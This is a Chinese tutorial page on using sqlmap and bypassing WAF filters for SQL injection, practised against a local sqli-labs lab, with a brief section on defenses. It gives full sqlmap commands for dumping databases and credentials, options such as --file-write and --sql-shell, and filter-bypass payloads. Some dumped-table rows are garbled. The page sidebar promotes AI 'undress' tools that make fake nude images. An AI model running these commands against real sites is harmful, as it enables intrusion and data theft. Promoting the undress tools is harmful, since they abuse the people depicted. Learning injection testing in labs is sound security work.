目錄
第一部分:Sqlmap使用
1.1 sqlmap介紹
1.2 sqlmap安裝與環境搭建
#1.4 sqlmap實戰範例
2.1 SQL注入之waf繞過方法介紹
2.2 sql注入之繞過waf實驗
第三部分:sqli注入防禦
3.1 sql注入防禦方法
首頁 運維 安全 如何分析SQLMap與SQLi注入防禦

如何分析SQLMap與SQLi注入防禦

May 11, 2023 pm 06:37 PM
sqlmap sqli

第一部分:Sqlmap使用

1.1 sqlmap介紹

1. 前邊說了一些sql注入的基礎語句,但是手工注入很麻煩,我們可以藉助sqlmap這個強大的sql注入工具,進行資料的取得.

2.sqlmap 介紹

(1)#sqlmap是一種開源的滲透測試工具,可以自動偵測並利用SQL注入漏洞以及
接入該資料庫的伺服器。它擁有非常強大的檢測引擎、具有多種特性的滲透測試器、透過資料庫指紋提取存取底層檔案系統並透過外帶連接執行命令。

官方網站: sqlmap.org 

如何分析SQLMap與SQLi注入防禦

(2)#支援的資料庫:
MySQL,Oracle, PostgreSQL, Microsoft SQL Server, Microsoft
Access, IBM DB2, SQLite, Firebird, Sybase and SAP MAXDB。

(3)#支援多種注入方式

#UNION query SQL injection(可聯合查詢注入)
#Error-based SQL injection(報錯型注入)
# Boolean-based blind SQL injection(布林型注入)
#Time-based blind SQL injection(基於時間延遲注入)
#Stacked queries SQL injection(可多語句查詢注入)

1.2 sqlmap安裝與環境搭建

1.sqlmap安裝主要步驟

   (1)安裝python環境--->sqlmap需要python環境

     python下載位址: https:/ /www.python.org/downloads/release/python-2715/)

如何分析SQLMap與SQLi注入防禦

   sqlmap跟Python2.X版本相容比較好.(python的安裝步驟直接下一步即可,需要修改的就是sqlmap的安裝路徑,這裡改成了C:\Users\Administrator\python,為了直接命令列可以進入sqlmap目錄更方便操作)

   (2)Python安裝不要安裝到中文路徑下,並把Python加入環境變數.

   如何分析SQLMap與SQLi注入防禦

如何分析SQLMap與SQLi注入防禦

  (3)下載並安裝sqlmap,修改安裝目錄為C :\Users\Administrator\sqlmap

   (4)測試python環境:  進入cmd命令列,輸入python,如下提示則安裝成功

   C:\Users\ Administrator>python
   Python 2.7.16 (v2.7.16:413a49145e, Mar  4 2019, 01:37:19) [MSC v.1500 64 2019, 01:37:19) [MSC v.1500 6445bit] on win32
   Type "help", "copyright", "credits" or "license" for more information.

    >>> exit();   

##   (5); sqlmap測試:  進入cmd指令列,輸入sqlmap.py  -h (注意路徑)

  C:\Users\Administrator\sqlmap>

sqlmap.py  -h   #查看幫助資訊

如何分析SQLMap與SQLi注入防禦

1.3 sqlmap常用參數

#(1)取得庫名,列名,權限

  • --dbs   #取得所有資料庫

  • --dbms   mysql  #指定資料庫類型

  • --users   #所有資料庫使用者(資料庫本機使用者名稱)

  • --passwords  #取得資料庫密碼,(有權限才能讀取)

  • --technique  #指定使用哪一個注入型別

  • --current-db #目前資料庫

  • #--banner       #取得資料庫識別

  • ##-D database_name --tables    #-D用於指定資料,--tables取得某個庫下的表

  • -D database_name -T table_name --columns #-T指定表名,--columns取得列欄位

  • -D database_name -T table_name -C column_1,column_2 --dump

                    #-C指定字段名,-   -dump顯示結果

  • --users   #列資料庫管理使用者,目前使用者有權限讀取包含所有使用者的資料表的權限時,就可以列出所有管理使用者。

  • --current-user  #在大多數資料庫中可以取得管理資料的使用者。

  • --is-dba       #判斷目前的使用者是否為管理,是的話會回到True。

  • --privileges   #當使用者有權限讀取包含所有使用者的表的權限時,很可能列舉出每個使用者的權限,sqlmap將會告訴你哪個是資料庫的超管理員。也可以用-U參  數指定你想看那個使用者的權限。

  • --proxy   #指定一個代理伺服器eg: –proxy http://local:8080

#(2)指定前後綴:

  • #sqlmap不能偵測很多的干擾字元,閉合時可以手工指定前綴和後綴

  • select * from users where id=((('1 '))) 與 1=1

  • #--prefix=PREFIX 注入payload字串前綴

  • –suffix=SUFFIX  注入payload字串後綴
    eg:sqlmap -u “www.target.com/index.php?id=1” -p id --prefix “'))”
    --suffix “AND ('1'= '1”

#(3)匯出結果:

  • sqlmap -u “www.a.com/ 1.php?id=1” --file-write=”d:/1.txt”

  • #--file-dest=”E:/wwwroot/web/one. php“

  • --batch 全自動

  • #--start=開始條數--stop=結束條數

  • --dump 匯出資料

  • --dump-all 匯出所有資料

  • --purge-output/ --purge  清空快取目錄

  • --sql-shell 反彈sqlshell,類似sql查詢分析器 預設路徑.sqlmap (點sqlmap)

#1.4 sqlmap實戰範例

#Less-1--Less65通用語句(這幾句是最常用的幾個參數,必會型)

##(1)取得所有函式庫名稱
C:\Users\Administrator\sqlmap>python sqlmap.py -u "http://localhost/sqli/Less-1?id=1" -- dbs --dbms=mysql --batch

#解析:

-u 後加url,表示測試的url

--dbs表示取得所有資料庫

--dbms表示指定資料庫類型為mysql

--batch表示自動取得

-D  security --tables 表示取得指定資料庫為security 的資料表名

-D  security -T  users --columns 表示取得指定資料庫為security裡users表中的列名

-D security -T users -C username,password --dump  #取得security程式庫,users表中username和password欄位的資料資訊,--dump表示顯示結果

#結果:##[*] challenges
[*] dvwa
[*] information_schema
[*] mysql
[*] owasp
[*] performance_schema
[*] security
[*] test

##(2)取得目前函式庫名稱C:\Users\Administrator\sqlmap>python sqlmap.py -u "http://localhost/sqli/Less-1?id=1" --current -db --batch

#結果:current database:    'security'

#(3)取得目前表名C :\Users\Administrator\sqlmap>python sqlmap.py -u "http://localhost/sqli/Less-1?id=1" -D security --tables --batch

##結果:Database: security
[4 tables]
----------
| emails   |
| referers |
| uagents  |
| users    |
----------


##(4)取得目前欄位名稱C:\Users\Administrator \sqlmap>python sqlmap.py -u "http://localhost/sqli/Less-1?id=1" -D security -T users --columns  --batch

#結果: Database: security
Table: users
[3 columns]
---------- -------------
| Column   | Type        |
---------- -------------
| id       | int(3)      |
#| password | varchar (20) |
| username | varchar(20) |
---------- -------------

# #(5)取得users表中username和password內容C:\Users\Administrator\sqlmap>python sqlmap.py -u "http://localhost/sqli/Less-1?id=1" -D security -T users -C username,password --dump  --batch

#結果:Database: security
Table: users
[13 entries ]
---------- ------------
| username | password   |
---------- --- ---------
| Dumb     | Dumb       |
| Angelina | I-kill-you |
| Dummy    | p@ssword   |
| secure   | crappy   |  |##    |##  |  |## | stupid   | stupidity  |
| superman | genious    |
| batman   | mob!le     |
| admin    | admin   ad   |
| admin    | admin   ad   |
| min1   | admin   ad 1 21一樣 |    |
| admin3   | admin3     |
| dhakkan  | dumbo      |
| admin4   | admin4     |
---------- ------------

#第二部分:sqli注入之waf繞過

2.1 SQL注入之waf繞過方法介紹

說明:這裡僅舉例說明繞過方式,實際場景則更加複雜. 多種繞過方式可以混合使用,還可以進行編碼.

1.前邊知道了sql注入的方式後,如何才能防止sql注入呢?

    #(1)過濾註解符
  • #(2)過濾and或or
  • #(3)過濾select或union
  • #(4)過濾黑名單
  • #2.過濾了and/or繞過方式有哪些?

    ##(1)mysql中大小寫不敏感,都可以正確執行;===>使用大小寫變形
  • #(2)mysql支援十六進位,用16進位或用URL編碼;

  • #(3)用符號取代單字  = ==>符號繞過and(&&)  or(||)

  • ##(4)內嵌註解和多行註釋===>在敏感詞彙中加入註釋a/**/nd   雙寫繞過oORr

3.當然還有其他方法,我們以這幾種過濾方式為例,來說說如何繞過.

真實場景中有waf裝置,waf其實也是透過過濾一些關鍵字來防止sql注入的.

2.2 sql注入之繞過waf實驗

1.過濾了註解符號(Less- 23為例)

#(1)過濾註解符號的原因:對於正常的SQL語句中,註解符起到說明作用的功能。但對於利用SQL注入漏洞過程中,註解符號起到閉合 單引號、多單引號、雙引號、單括號、多括號的功能。
單行註解:  -- 或 --空格  或
#多行註解: /* 多行註解內容*/

#(2)過濾函數preg_replace
preg_replace(mixed $pattern , mixed $replacement , mixed $subject):執行一個正規表示式的搜尋和替換。
$pattern: 要搜尋的模式,可以是字串或一個字串陣列
$replacement: 用來替換的字串或字串陣列。
$subject: 要搜尋已取代的目標字串或字串陣列。

如何分析SQLMap與SQLi注入防禦

#(3)繞過註解符號:
利用註解子過濾不能成功閉合單引號等,換一個思路利用or '1'='1閉合單引號等。
http://127.0.0.1/sqli/Less-23/?id=-1' union select 1,database(),'3

如何分析SQLMap與SQLi注入防禦

2.過濾了and或or應該如何繞過?(Less-25為例)

(1)源碼分析:可以看到把or或and替換為了空

如何分析SQLMap與SQLi注入防禦

(2)操作步驟

如何分析SQLMap與SQLi注入防禦如何分析SQLMap與SQLi注入防禦如何分析SQLMap與SQLi注入防禦

3.過濾了空格應該如何繞過?(Less-26為例)

(1)用 來充當空格

如何分析SQLMap與SQLi注入防禦

4.過濾了select/union該如何繞過?(Less-27為例)

如何分析SQLMap與SQLi注入防禦如何分析SQLMap與SQLi注入防禦如何分析SQLMap與SQLi注入防禦

如何分析SQLMap與SQLi注入防禦如何分析SQLMap與SQLi注入防禦

第三部分:sqli注入防禦

3.1 sql注入防禦方法

1.常用防護措施:

#(1)、關閉錯誤提示: PHP設定檔php.ini中的display_errors=Off
#(2)、魔術引號(與addslashes的效果相同):當php.ini裡的magic_quotes_gpc=On時。提交的變數中所有的單引號(')、雙引號(”)、反斜線(\)與NUL(NULL 字元)會自動轉為含有反斜線的轉義字元
#(3)、對資料進行過濾:例如過濾掉and/or/union等常用關鍵字
#(4)、控制連接資料庫的使用者權限:每個庫針對單一庫設定一個管理員,不要用root權限.
#(5)、預處理和參數化(PDO):處理用戶傳入的參數,返回布林值,不是單純的對資料進行"拼接",從而避免sql注入.
#(6)、硬件防護措施(WAF等硬體)

以上是如何分析SQLMap與SQLi注入防禦的詳細內容。更多資訊請關注PHP中文網其他相關文章!

本網站聲明
本文內容由網友自願投稿,版權歸原作者所有。本站不承擔相應的法律責任。如發現涉嫌抄襲或侵權的內容,請聯絡admin@php.cn

熱AI工具

Undresser.AI Undress

Undresser.AI Undress

人工智慧驅動的應用程序,用於創建逼真的裸體照片

AI Clothes Remover

AI Clothes Remover

用於從照片中去除衣服的線上人工智慧工具。

Undress AI Tool

Undress AI Tool

免費脫衣圖片

Clothoff.io

Clothoff.io

AI脫衣器

Video Face Swap

Video Face Swap

使用我們完全免費的人工智慧換臉工具,輕鬆在任何影片中換臉!

熱工具

記事本++7.3.1

記事本++7.3.1

好用且免費的程式碼編輯器

SublimeText3漢化版

SublimeText3漢化版

中文版,非常好用

禪工作室 13.0.1

禪工作室 13.0.1

強大的PHP整合開發環境

Dreamweaver CS6

Dreamweaver CS6

視覺化網頁開發工具

SublimeText3 Mac版

SublimeText3 Mac版

神級程式碼編輯軟體(SublimeText3)

Sqlmap自動化注入的範例分析 Sqlmap自動化注入的範例分析 May 13, 2023 pm 03:31 PM

使用sqlmap對dvwa進行自動化注入設定dvwa等級為low開啟dvwa的SQLInjection(SQLInjection(Blind)),開啟瀏覽器調試,輸入userid並submit,查看攔截到的請求。可以看到是一個GET請求,url「http://192.168.1.222:8089/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#」我們直接放到salmap測試一下,用-u指令-u"http ://192.168.1.22

關於sqlmap的問題怎麼分析 關於sqlmap的問題怎麼分析 May 27, 2023 pm 01:07 PM

0x00概述近日在利用sqlmap注入測試時遇到一個奇怪的現象,高版本sqlmap無法檢測出注入,但是低版本的可以測出注入,並且能跑出數據不是誤報,經過對比測試和查看sqlmap源碼,發現兩個小坑。 0x01情境重現注入點形式:json…”whereparams”:[{“name”:”keyWord”,”value”:”test”}]}可注入參數:valuesqlmap指令:pythonsqlmap.py-rsqlpk.txt– flush-session-vvsqlmapv1.2.11無法注入s

如何分析SQLMap與SQLi注入防禦 如何分析SQLMap與SQLi注入防禦 May 11, 2023 pm 06:37 PM

第一部分:Sqlmap使用1.1sqlmap介紹1.前邊說了一些sql注入的基礎語句,但是手工注入很麻煩,我們可以藉助sqlmap這個強大的sql注入工具,進行數據的獲取.2.sqlmap介紹(1)# sqlmap是一種開源的滲透測試工具,可自動偵測並利用SQL注入漏洞以及連接到該資料庫的伺服器。它擁有非常強大的檢測引擎、具有多種特性的滲透測試器、透過資料庫指紋提取存取底層檔案系統並透過外帶連接執行命令。官方網站:sqlmap.org(2)#支援的資料庫:MySQL,Oracle,PostgreS

SQLMAP的洋蔥模式代理是怎樣的 SQLMAP的洋蔥模式代理是怎樣的 May 26, 2023 am 09:56 AM

由於要對外網的網站進行滲透測試,但是大部分網站都有訪問頻率控制,一旦超過這個頻率就直接禁IP。尤其是SQLMAP跑的時候,更是一片“姨媽紅”,還沒跑完SQLMAP就直接報錯退出。於是就開始研究SQLMAP的代理模式,SQLMAP有兩種代理模式,一種是普通代理(HTTP代理),一種是洋蔥代理。我原本想寫一下普通代理的應用,但是百度看到這篇文章已經夠詳細了,就不再說廢話。 Sqlmap擴展—外部IP代理池實現還是重點談談洋蔥代理,一開始直接使用洋蔥去做注入時候,沒有報“姨媽紅”,後來隨著滲透的網站的增

sqlmap _dns注入配置方法是什麼 sqlmap _dns注入配置方法是什麼 May 12, 2023 pm 12:25 PM

網路上針對sqlmap進行dns注入的相關文章太少,只是簡單介紹了下--dns-domain參數,相關的實戰文章要么就寫的模糊或者一筆帶過,搞的雲裡霧裡(主要是菜,關鍵還沒大佬帶)。然後自己參考網路上的方法自己重新搞了一遍。需要準備的東西,sqlmap、windows盲註一個、兩個網域、一台外網伺服器。某次搞事情的時候碰到一個時間盲注,剛好是台windows的,想起dns注入的方法。在開始前我準備先用sqlmap的--sql-shell指令進行dns注入payload的測試先到burpsuite中的

如何實作sqlmap time-based inject的分析 如何實作sqlmap time-based inject的分析 May 12, 2023 pm 12:10 PM

1.前言sql注入如何檢測的?我的回答是:在甲方做安全,sql注入偵測還是比較好做的。 1)報錯注入檢測。 2)別做bool的報錯注入,誤報比較高。 3)做基於time-based的時間注入,聯繫運維做上慢日誌db記錄,監控sleep,benchmark的關鍵字監控,可以在sleep的時間小數點上加上掃描任務的id號,方便定位。 (p.s.這種方法能找到99%的sql注入了)因此,在做基於time-based的時間注入時,我把時間誤差限制的非常苛刻。但是,@chengable在乙方做安全相關工作,基於t

sqlmap處理sign加密的思路 sqlmap處理sign加密的思路 May 14, 2023 am 11:52 AM

我對公司的APP進行測試的時候發現,我們是將所有的參數內容加上一個32位元字元最後在進行MD5加密。由於APP處理的流程首先是驗證sign是不是正確,如果驗簽失敗,根本就進不去資料庫,為了要使用SQLMAP對其進行測試,於是就寫了一個代理資料的腳本,在攔截到資料包之後,對其參數內容和32字元進行加密替換。註:此腳本適用於公司內部系統,因為能夠知道加密的流程;或能夠拿到前端JS的加密方式。首先我使用Django寫了一個程式來模擬公司的系統,流程是取得POST的id和token,並加上自訂加密的字

如何使用sqlmapGetshell 如何使用sqlmapGetshell May 13, 2023 pm 06:25 PM

sqlmap讀取與寫入檔案–file-read:從後端的資料庫管理系統檔案系統讀取檔案–file-write:編輯後端的資料庫管理系統檔案系統上的本機檔案(從本機寫入)–file-dest :後端的資料庫管理系統寫入檔案的絕對路徑(寫入目標路徑)可以用以上幾個指令對SQL注入後的系統檔案進行讀寫,但是前提條件是需要有可讀可寫的權限並且為dba權限,否則無法成功進行讀寫操作。以DVWA為例,在kali下搭建DVWA進行讀取與寫入檔案操作。讀取文件:查看了PHPinfo裡的相關信息,使用-file-r

See all articles